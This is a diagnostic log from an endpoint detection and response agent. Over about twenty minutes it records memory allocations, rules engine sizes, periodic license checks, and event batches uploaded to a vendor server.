2026-03-04 05:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1269 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 294 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 2 KB; BatchStringTag: 0 KB; Total: 65471 KB;
2026-03-04 05:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1633 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 512 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; rules::ProcessConditionsCache: 287 KB; BaseEvent: 189 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 48 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66056 KB;
2026-03-04 05:33:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:33:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:33:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:33:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1994 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 367 KB; rules::ProcessConditionsCache: 278 KB; ModuleInfoCache: 108 KB; BatchSerializer::EventsQueueTag: 95 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66639 KB;
2026-03-04 05:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2354 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 547 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 260 KB; BatchSerializer::EventsQueueTag: 142 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67210 KB;
2026-03-04 05:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2717 KB; BaseEvent: 727 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 491 KB; rules::ProcessConditionsCache: 250 KB; BatchSerializer::EventsQueueTag: 189 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67775 KB;
2026-03-04 05:36:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:31:53, To:, 2026-03-04 05:36:01, Duration (s):, 248, Events Per Second:, 16.491, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3374, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 730, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455273
2026-03-04 05:36:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s627ms.
2026-03-04 05:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1602 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 512 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 492 KB; rules::ProcessConditionsCache: 234 KB; BaseEvent: 156 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 40 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65924 KB;
2026-03-04 05:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1963 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 495 KB; BaseEvent: 337 KB; rules::ProcessConditionsCache: 221 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 88 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66499 KB;
2026-03-04 05:38:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:38:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:38:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:38:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2323 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 515 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 495 KB; rules::ProcessConditionsCache: 205 KB; BatchSerializer::EventsQueueTag: 134 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67072 KB;
2026-03-04 05:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2726 KB; BaseEvent: 701 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; rules::ProcessConditionsCache: 195 KB; BatchSerializer::EventsQueueTag: 184 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67712 KB;
2026-03-04 05:40:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:36:01, To:, 2026-03-04 05:40:10, Duration (s):, 249, Events Per Second:, 16.589, Events:, 4134, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3425, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460726
2026-03-04 05:40:13 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s818ms.
2026-03-04 05:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1574 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 187 KB; BaseEvent: 139 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65850 KB;
2026-03-04 05:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1932 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 315 KB; rules::ProcessConditionsCache: 167 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 82 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66425 KB;
2026-03-04 05:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2295 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 495 KB; rules::ProcessConditionsCache: 156 KB; BatchSerializer::EventsQueueTag: 129 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66990 KB;
2026-03-04 05:43:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:43:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:43:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:43:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2662 KB; BaseEvent: 716 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 187 KB; BatchSerializer::EventsQueueTag: 186 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67688 KB;
2026-03-04 05:44:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:40:09, To:, 2026-03-04 05:44:06, Duration (s):, 237, Events Per Second:, 17.013, Events:, 4034, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3200, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 72, Livegrid:, 72, OriginUrl:, 0, Alarms:, 689, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 442778
2026-03-04 05:44:08 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s639ms.
2026-03-04 05:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1580 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 163 KB; BaseEvent: 150 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65843 KB;
2026-03-04 05:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1919 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; TcpIpConnectionsManager: 508 KB; BaseEvent: 328 KB; rules::ProcessConditionsCache: 127 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 85 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66368 KB;
2026-03-04 05:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2283 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 508 KB; TcpIpConnectionsManager: 506 KB; BatchSerializer::EventsQueueTag: 132 KB; rules::ProcessConditionsCache: 114 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66945 KB;
2026-03-04 05:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2645 KB; BaseEvent: 687 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; TcpIpConnectionsManager: 506 KB; BatchSerializer::EventsQueueTag: 178 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67523 KB;
2026-03-04 05:48:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:44:05, To:, 2026-03-04 05:48:18, Duration (s):, 253, Events Per Second:, 16.087, Events:, 4084, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3331, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 16, Livegrid:, 16, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452368
2026-03-04 05:48:21 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s562ms.
2026-03-04 05:48:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:48:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:48:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:48:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1479 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 114 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 85 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65632 KB;
2026-03-04 05:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1840 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 292 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::ProcessConditionsCache: 74 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66206 KB;
2026-03-04 05:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2207 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 475 KB; BatchSerializer::EventsQueueTag: 123 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 72 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66805 KB;
2026-03-04 05:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2568 KB; BaseEvent: 653 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 53 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67378 KB;
2026-03-04 05:52:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:48:18, To:, 2026-03-04 05:52:26, Duration (s):, 248, Events Per Second:, 16.572, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 5, Livegrid:, 5, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456174
2026-03-04 05:52:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s290ms.
2026-03-04 05:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1461 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 532 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 87 KB; cloudutils::CloudData: 39 KB; rules::ProcessConditionsCache: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65548 KB;
2026-03-04 05:53:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:53:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:53:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:53:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1828 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; BaseEvent: 268 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66126 KB;
2026-03-04 05:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2189 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 446 KB; BatchSerializer::EventsQueueTag: 115 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 4 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66694 KB;
